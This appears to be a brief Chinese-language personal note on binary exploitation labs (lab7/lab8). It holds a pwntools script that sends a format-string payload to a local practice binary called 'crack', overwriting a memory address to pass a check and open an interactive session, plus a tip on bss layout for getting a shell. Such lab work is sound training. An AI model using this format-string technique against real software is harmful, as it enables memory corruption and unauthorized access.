一定要注意 bss 端得躲一块,不然最后起 shell 起不来,这个具体我还没研究,涉及到内核了

lab7(lab8同理

from pwn import *
from struct import pack
context.log_level = 'debug'
io = process('crack')
io.recvuntil('?')
payload = fmtstr_payload(10, {0x0804A048:123})
io.send(payload)
io.recvuntil(':')
io.send('123')
io.interactive()

pwntools nb 就完事了